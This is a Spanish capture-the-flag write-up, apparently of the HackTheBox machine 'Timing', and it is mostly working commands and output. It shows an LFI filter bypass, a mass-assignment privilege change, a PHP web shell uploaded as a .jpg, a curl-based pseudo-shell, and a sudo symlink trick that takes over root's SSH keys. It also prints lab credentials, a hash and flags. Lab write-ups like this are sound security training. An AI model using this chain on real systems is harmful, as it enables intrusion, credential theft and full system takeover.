Conocimientos

  • LFI

  • Análisis de código PHP

  • Mass Assigment Attact

  • Arbitrary File Upload

  • Abuso de privilegio sudoers (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.135 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 12:49 GMT
Nmap scan report for 10.10.11.135
Host is up (0.086s latency).
Not shown: 63181 closed tcp ports (reset), 2352 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.135 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 12:50 GMT
Nmap scan report for 10.10.11.135
Host is up (0.072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d25c40d7c9feffa883c36ecd6011d2eb (RSA)
|   256 18c9f7b92736a116592335843431b3ad (ECDSA)
|_  256 a22deedb4ebff93f8bd4cfb412d820f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnoogías que está empleando el servidor web

whatweb http://10.10.11.135
http://10.10.11.135 [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.135], RedirectLocation[./login.php]
http://10.10.11.135/login.php [200 OK] Apache[2.4.29], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[#,dkstudioin@gmail.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.135], JQuery, Script, Title[Simple WebApp]

La página principal se ve así:

Aplico fuzzing para descubrir archivos

gobuster dir -u http://10.10.11.135/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.135/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/28 12:55:32 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/footer.php           (Status: 200) [Size: 3937]
/header.php           (Status: 302) [Size: 0] [--> ./login.php]
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]
/.htaccess            (Status: 403) [Size: 277]
/.                    (Status: 302) [Size: 0] [--> ./login.php]
/login.php            (Status: 200) [Size: 5609]
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]
/.htpasswd            (Status: 403) [Size: 277]
/image.php            (Status: 200) [Size: 0]
/.htm                 (Status: 403) [Size: 277]
/.htpasswds           (Status: 403) [Size: 277]
/.htgroup             (Status: 403) [Size: 277]
/wp-forum.phps        (Status: 403) [Size: 277]
/.htaccess.bak        (Status: 403) [Size: 277]
/.htuser              (Status: 403) [Size: 277]
/.ht                  (Status: 403) [Size: 277]
/.htc                 (Status: 403) [Size: 277]
Progress: 16200 / 16245 (99.72%)
===============================================================
2023/03/28 12:55:49 Finished
===============================================================

Pero tengo que estar loggeado para poder acceder a ellos. Intento un LFI en /image.php

gobuster fuzz -u 'http://10.10.11.135/image.php?FUZZ=../../../../../../../etc/passwd' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 --exclude-length 0
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://10.10.11.135/image.php?FUZZ=../../../../../../../etc/passwd
[+] Method:           GET
[+] Threads:          100
[+] Wordlist:         /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Exclude Length:   0
[+] User Agent:       gobuster/3.5
[+] Timeout:          10s
===============================================================
2023/03/28 14:42:29 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=25] http://10.10.11.135/image.php?img=../../../../../../../etc/passwd

Me sale una advertencia

curl -s -X GET 'http://10.10.11.135/image.php?img=../../../../../../../etc/passwd'
Hacking attempt detected!

Pero se puede burlar con un wrapper de codificación en base64

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64_encode/resource=/etc/passwd' | grep sh$
root:x:0:0:root:/root:/bin/bash
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

Este servicio está corriendo en la máquina víctima

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64_encode/resource=/proc/net/fib_trie' | grep -oP '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}' | sort -u
0.0.0.0
10.10.10.0
10.10.11.128
10.10.11.135
10.10.11.255
1 2 0 2
127.0.0.0
127.0.0.1
127.255.255.255
23 2 1 2
25 2 0 2
31 1 0 0
4 2 0 2
8 2 0 2

Las credenciales para el panel de autenticación son aaron:aaron

Sigo sin acceso para el upload.php

HTTP/1.1 302 Found
Date: Tue, 28 Mar 2023 14:50:06 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ./index.php
Content-Length: 35
Connection: close
Content-Type: text/html; charset=UTF-8

No permission to access this panel!

Me traigo el image.php para ver su contenido

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=image.php' | base64 -d
<?php

function is_safe_include($text)
{
    $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

    foreach ($blacklist as $item) {
        if (strpos($text, $item) !== false) {
            return false;
        }
    }
    return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
    if (is_safe_include($_GET['img'])) {
        include($_GET['img']);
    } else {
        echo "Hacking attempt detected!";
    }
}

Lo mismo para el upload.php

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php' | base64 -d
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Se está importando el archivo admin_auth_check.php, así que también lo veo

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php' | base64 -d
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>

En base al role que esté asignado, se va a validar si es un usuario Administrador o no

Ahora el auth_check.php

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=auth_check.php' | base64 -d
<?php

//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);

// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);

session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
    header('Location: ./login.php');
    die();
}
?>

Me descargo también el ```profile.php``

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile.php' | base64 -d
<?php
include_once "header.php";

include_once "db_conn.php";

$id = $_SESSION['userid'];


// fetch updated user
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();


?>

<script src="js/profile.js"></script>


<div class="container bootstrap snippets bootdey">

    <div class="alert alert-success" id="alert-profile-update" style="display: none">
        <strong>Success!</strong> Profile was updated.
    </div>

    <h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Edit Profile</h1>
    <hr>
    <div class="row">
        <!-- left column -->
        <div class="col-md-1">
        </div>

        <!-- edit form column -->
        <div class="col-md-9 personal-info">
            <h3>Personal info</h3>
            <form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
                <div class="form-group">
                    <label class="col-lg-3 control-label">First name:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="firstName" id="firstName"
                               value="<?php if (!empty($user['firstName'])) echo $user['firstName']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Last name:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="lastName" id="lastName"
                               value="<?php if (!empty($user['lastName'])) echo $user['lastName']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Company:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="company" id="company"
                               value="<?php if (!empty($user['company'])) echo $user['company']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Email:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="email" id="email"
                               value="<?php if (!empty($user['email'])) echo $user['email']; ?>">
                    </div>
                </div>

                <div class="container">
                    <div class="row">
                        <div class="col-md-9 bg-light text-right">

                            <button type="button" onclick="updateProfile()" class="btn btn-primary">
                                Update
                            </button>

                        </div>
                    </div>
                </div>

            </form>
        </div>
    </div>
</div>
<hr>

<?php
include_once "footer.php";
?>

Se está incluyendo db_conn.php

curl -s -X GET 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php' | base64 -d
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

Contiene credenciales de acceso a la base de datos, El formato de subida de archivos sería el siguiente:

php --interactive
Interactive shell

php > echo md5('$file_hash' . time()) . "_" . "cmd.jpg";
ca4d0785338026a2b224642b131048f5_cmd.jpg

En upload.php hay un error y se está introduciendo $file_hash entre comillas simples, lo que hace que se mantenga estático

Puedo editar mi perfil

Se puede efectuar un Mass Asigment Attack, añadiendo más campos en la data por POST. Modifico mi role para que valga 1

POST /profile_update.php HTTP/1.1
Host: 10.10.11.135
Content-Length: 59
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.10.11.135
Referer: http://10.10.11.135/profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=onjjs1ql6bhooavmijd5m3elf5
Connection: close

firstName=test&lastName=test&email=test&company=test&role=1
HTTP/1.1 200 OK
Date: Wed, 29 Mar 2023 08:09:20 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 419
Connection: close
Content-Type: text/html; charset=UTF-8

{
    "id": "2",
    "0": "2",
    "username": "aaron",
    "1": "aaron",
    "password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "lastName": "test",
    "3": "test",
    "firstName": "test",
    "4": "test",
    "email": "test",
    "5": "test",
    "role": "1",
    "6": "1",
    "company": "test",
    "7": "test"
}

Ya no tengo ese problema en el upload.php

curl -s -X GET 'http://10.10.11.135/upload.php' -H "Cookie: PHPSESSID=onjjs1ql6bhooavmijd5m3elf5"
Error: This extension is not allowed.

Desde el panel de Administrador, intercepto la petición que se encarga de subir la imagen

POST /upload.php HTTP/1.1
Host: 10.10.11.135
Content-Length: 222
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryn7DLq2AxO2f5p4rA
Accept: */*
Origin: http://10.10.11.135
Referer: http://10.10.11.135/avatar_uploader.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=onjjs1ql6bhooavmijd5m3elf5
Connection: close

------WebKitFormBoundaryn7DLq2AxO2f5p4rA
Content-Disposition: form-data; name="fileToUpload"; filename="cmd.jpg"
Content-Type: image/jpeg

<?php
  system($_GET['cmd']);
?>

------WebKitFormBoundaryn7DLq2AxO2f5p4rA--
HTTP/1.1 200 OK
Date: Wed, 29 Mar 2023 08:55:27 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 27
Connection: close
Content-Type: text/html; charset=UTF-8

The file has been uploaded.

Una vez subido, puedo acceder a él desde /images/uploads

curl -s -X GET 'http://10.10.11.135/image.php?img=images/uploads/ae5ad6937c9c202e70da2aa9b425fdfd_cmd.jpg&cmd=whoami'
www-data

No tengo conectividad con mi equipo

curl -s -X GET 'http://10.10.11.135/image.php?img=images/uploads/ae5ad6937c9c202e70da2aa9b425fdfd_cmd.jpg&cmd=ping+-c1+10.10.16.2'
PING 10.10.16.2 (10.10.16.2) 56(84) bytes of data.
From 10.10.11.135 icmp_seq=1 Destination Port Unreachable

--- 10.10.16.2 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms

Creo una pseudoconsola con bash

#!/bin/bash

function ctrl_c(){
  echo
  exit 1
}

trap ctrl_c INT


while true; do
  echo -n "[#] - " && read -r command
  command=$(echo $command | tr ' ' '+')
  curl -s -X GET "http://10.10.11.135/image.php?img=images/uploads/ae5ad6937c9c202e70da2aa9b425fdfd_cmd.jpg&cmd=$command"
done

En el directorio /opt hay un backup

[#] - ls -l /opt
total 616
-rw-r--r-- 1 root root 627851 Jul 20  2021 source-files-backup.zip

Para transferirlo a mi equipo, creo una copia que sea accessible desde la web

wget http://10.10.11.135/source-files-backup.zip

Lo descomprimo en un directorio

unzip source-files-backup.zip -d backup

Este repositorio GIT tiene dos commits

git log
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:33:54 2021 +0000

    init

Se modificó la contraseña de la base de datos

git diff e4e214696159a25c69812571c8214d2bf8736a3f
diff --git a/db_conn.php b/db_conn.php
index f1c9217..5397ffa 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
 <?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

Se reutiliza por SSH para el usuario aaron

 ssh aaron@10.10.11.135
aaron@10.10.11.135's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Mar 29 09:29:37 UTC 2023

  System load:  0.0               Processes:           169
  Usage of /:   52.8% of 4.85GB   Users logged in:     0
  Memory usage: 17%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


aaron@timing:~$ cat user.txt 
d85898836e6715fce12283afe4ca0d88

Puedo ejecutar un commando como cualquier usuario sin proporcionar contraseña

aaron@timing:~$ sudo -l 
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils

Descarga un archivo que le indique y lo almacena

aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.16.2/cmd.jpg
Initializing download: http://10.10.16.2/cmd.jpg
File size: 33 bytes
Opening output file cmd.jpg.0
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 33 byte in 0 seconds. (0.04 KB/s)

El propietario es root

-rw-r--r-- 1 root  root    33 Mar 29 09:39 cmd.jpg

Creo un link simbólico para que mi clave pública una vez descargada se convierta en las authorized_keys del usuario root

aaron@timing:~$ ln -s -f /root/.ssh/authorized_keys id_rsa.pub

Me conecto sin proporcionar contraseña

ssh root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Mar 29 09:46:38 UTC 2023

  System load:  0.13              Processes:           176
  Usage of /:   52.8% of 4.85GB   Users logged in:     1
  Memory usage: 18%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@timing:~# cat root.txt 
d6ad9b0dd1a3985a849ef6981332b92d